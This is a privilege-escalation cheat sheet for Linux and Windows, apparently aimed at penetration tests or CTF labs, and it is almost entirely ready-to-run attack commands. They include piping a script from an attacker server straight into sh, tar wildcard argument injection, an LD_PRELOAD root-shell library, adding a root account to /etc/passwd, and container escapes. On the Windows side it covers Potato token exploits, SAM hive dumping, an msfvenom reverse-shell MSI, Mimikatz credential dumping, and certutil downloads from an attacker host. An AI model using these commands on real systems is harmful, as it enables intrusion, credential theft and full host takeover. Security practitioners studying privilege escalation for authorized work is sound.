Local Privilege Escalation Arsenal
Loads once a foothold/shell exists and you need root/SYSTEM. Authorized, in-scope targets only.
Enumerate the cheap wins first (sudo -l, SUID, caps / whoami /priv) before reaching for
kernel or token exploits.
Linux
Automated enumeration
- linpeas.sh — one-shot enum of every common vector; run early.
curl 10.10.14.5:8000/linpeas.sh | sh(or transfer +./linpeas.sh -a). Grep the output: red/yellow highlights = likely wins. Look forsudo,SUID,Capabilities,writablepaths,PATH, cron, cleartext creds. Gotcha: noisy — pipe to a file (./linpeas.sh > lp.txt) and read it, don't scroll the terminal. - pspy — watches processes/cron without root; catches root-run cron jobs and their commands.
./pspy64 -pf -i 1000(-pprocs,-ffile events,-ipoll ms). Gotcha: leave it running a few minutes to catch periodic cron. - linux-exploit-suggester (LES) — maps
uname -a/ kernel to public exploits../les.shon target, or./les.sh -k 5.4.0. Treat output as leads to verify, not guaranteed. - LinEnum — older but reliable broad enum; complements linpeas.
./LinEnum.sh -t(-t= thorough).
Manual quick wins
- sudo -l — the first thing you run. Lists what you may run as another user.
sudo -l. Any allowed binary → look it up on GTFOBins (gtfobins.github.io) for the sudo escape.NOPASSWDentries and env-preserving rules (env_keep,LD_PRELOAD) are gold. - SUID/SGID binaries — run as file owner regardless of caller.
find / -perm -4000 -type f 2>/dev/null(SUID; use-2000for SGID). Cross-reference each unusual binary against GTFOBins "SUID" section. Gotcha: ignore standard ones (passwd,sudo,mount); hunt the odd one out. - Capabilities — fine-grained root powers on a binary.
getcap -r / 2>/dev/null.cap_setuid+epon e.g. python/perl →python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'. Alsocap_dac_read_search(read any file),cap_setgid. Check GTFOBins "Capabilities". - Cron jobs & writable scripts — root cron running a script you can write = root.
cat /etc/crontab,ls -la /etc/cron.*, and pspy. If a cron'd script or any dir in its path is writable → inject a reverse shell /chmod +s /bin/bash. Wildcard injection: if a root cron runstar czf backup.tar.gz *(orchown/rsync) in a writable dir, drop crafted filenames as arguments —echo 'cmd' > shell.sh; touch -- '--checkpoint=1'; touch -- '--checkpoint-action=exec=sh shell.sh'. - sudo env_keep (LD_PRELOAD / LD_LIBRARY_PATH) — if
sudo -lshowsenv_keep+=LD_PRELOAD, compile a tiny.sowhose_init()doessetuid(0);system("/bin/bash -p"), thensudo LD_PRELOAD=/tmp/x.so <any-allowed-cmd>.LD_LIBRARY_PATHworks the same by shadowing a library the allowed binary loads (ldd). - Writable systemd unit or timer —
find / -writable -name '*.service' -o -writable -name '*.timer' 2>/dev/null; pointExecStart=at a reverse shell, then it runs as the unit's user (often root) on start/timer fire. - Writable /etc/passwd — if writable, add a root user.
openssl passwd -1 -salt x pass123→ appendhacker:$1$x$hash:0:0::/root:/bin/bashthensu hacker. Gotcha: also check/etc/shadowreadable. - PATH hijack — a root SUID/cron program calling a binary by bare name (no absolute path). Prepend a writable dir to
PATHand drop a malicious binary with that name.export PATH=/tmp:$PATHafterecho '/bin/bash' > /tmp/<name>; chmod +x. - NFS no_root_squash — an export mounted with
no_root_squashlets a remote root write root-owned SUID files.showmount -e <target>, mount it, place a SUID root shell as your own root, execute on target. - docker / lxd group — membership = root-equivalent. Docker:
docker run -v /:/mnt -it alpine chroot /mnt sh. lxd: import an alpine image, launch a privileged container mounting/. - Kernel / distro exploits — last resort.
uname -r→searchsploit linux kernel <ver>orlinux-exploit-suggester. Reliable named ones by version: DirtyPipe (CVE-2022-0847, ≥5.8), DirtyCow (CVE-2016-5195), PwnKit (CVE-2021-4034, polkitpkexec), Baron Samedit (CVE-2021-3156, sudo <1.9.5p2), GameOver(lay) (CVE-2023-2640/32629, Ubuntu OverlayFS). Gotcha: can panic/crash the host — only aftersudo -l, SUID, and caps are exhausted; verify the exact kernel/distro match before running.
Windows
Automated enumeration
- winPEAS — Windows equivalent of linpeas.
winPEASx64.exe(or.batfallback). Highlights services, privileges, creds, AlwaysInstallElevated. - PrivescCheck.ps1 — lightweight, AMSI-friendly.
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended. - PowerUp — service/registry misconfig hunter.
. .\PowerUp.ps1; Invoke-AllChecks. Flags unquoted paths, weak service perms, AlwaysInstallElevated with ready-made abuse functions. - WES-NG — offline patch-diff. On target
systeminfo > sys.txt, thenwes.py sys.txtlocally maps missing KBs to exploits. Gotcha: runwes.py --updatefirst. - Seatbelt — targeted host survey (creds, tokens, sessions).
Seatbelt.exe -group=all.
Token / privilege abuse
- whoami /priv — run this first. Enabled
Se*Privileges are direct paths. - SeImpersonatePrivilege → Potato family — impersonate SYSTEM token (common on service/IIS/MSSQL accounts). PrintSpoofer (
PrintSpoofer64.exe -i -c cmd) or GodPotato (GodPotato -cmd "cmd /c whoami") for Server 2019/2022 + Win10/11. JuicyPotato only for older ≤ Server 2016 / Win10 pre-1809. Gotcha: pick by OS build — JuicyPotato fails on modern builds; GodPotato/PrintSpoofer are the modern go-to. - SeBackupPrivilege / SeRestorePrivilege — read/write any file. Back up the SAM & SYSTEM hives (
reg save hklm\sam sam.hive,reg save hklm\system system.hive) thensecretsdump.py -sam sam.hive -system system.hive LOCALfor hashes. - Unquoted service paths — space in an unquoted
ImagePathlets Windows run your planted exe.wmic service get name,pathname,startmode | findstr /i /v "C:\Windows"→ drop exe at the earlier path if the dir is writable, restart service. - Weak service permissions — reconfigure a service you can edit.
accesschk.exe -uwcqv "user" *or PowerUp;sc config <svc> binPath= "C:\path\rev.exe"thensc start <svc>. - AlwaysInstallElevated — both registry keys = 1 lets any MSI run as SYSTEM. Check
reg query HKLM\...\Installer /v AlwaysInstallElevated(and HKCU).msfvenom -p windows/x64/shell_reverse_tcp ... -f msi -o r.msithenmsiexec /quiet /i r.msi. - Autoruns — writable auto-start binary run by a privileged user. PowerUp / winPEAS flag these; replace the exe.
- Stored credentials —
cmdkey /list(thenrunas /savecred),reg queryfor autologon/PuTTY creds,unattend.xml/sysprep.inf/Groups.xml(GPP), and SAM/SYSTEM viareg save. Search:findstr /si password *.txt *.xml *.config. - runas / RunasCs — use recovered creds without an interactive session.
RunasCs.exe user pass "cmd" -r 10.10.14.5:4444(-r= reverse-shell redirect). - Mimikatz — once SYSTEM, dump creds/hashes for lateral movement.
privilege::debugthensekurlsa::logonpasswords, orlsadump::sam. Gotcha: needs SYSTEM/debug; use it to harvest, not to escalate.
Shell stabilization & file transfer
- Upgrade a dumb TTY —
python3 -c 'import pty; pty.spawn("/bin/bash")', then Ctrl-Z,stty raw -echo; fg, thenexport TERM=xterm. Now Ctrl-C, tab-complete, and editors work. - Transfers (Linux) — attacker:
python3 -m http.server 8000; target:wget http://10.10.14.5:8000/linpeas.shorcurl -O .... Orscp file user@target:/tmpwith creds. Quick pipe:nc -lvnp 9001 < file/nc target 9001 > file. - Transfers (Windows) —
certutil -urlcache -f http://10.10.14.5:8000/winpeas.exe wp.exe, PowerShelliwr http://10.10.14.5:8000/x.exe -o x.exe(or(New-Object Net.WebClient).DownloadFile(...)). SMB pull: attackerimpacket-smbserver share . -smb2support, targetcopy \\10.10.14.5\share\x.exe.
Discipline
- Always run
sudo -land check SUID + capabilities (Linux) /whoami /priv(Windows) before anything heavier. - Kernel exploits are the last resort — they can crash/panic the host; exhaust config-based vectors first and match the exact kernel/build.
- On Windows, enabled privileges in
whoami /privusually beat hunting for CVEs — check them first. - Cross-reference every sudo/SUID/capability finding against GTFOBins; every Windows service/registry finding against PowerUp output.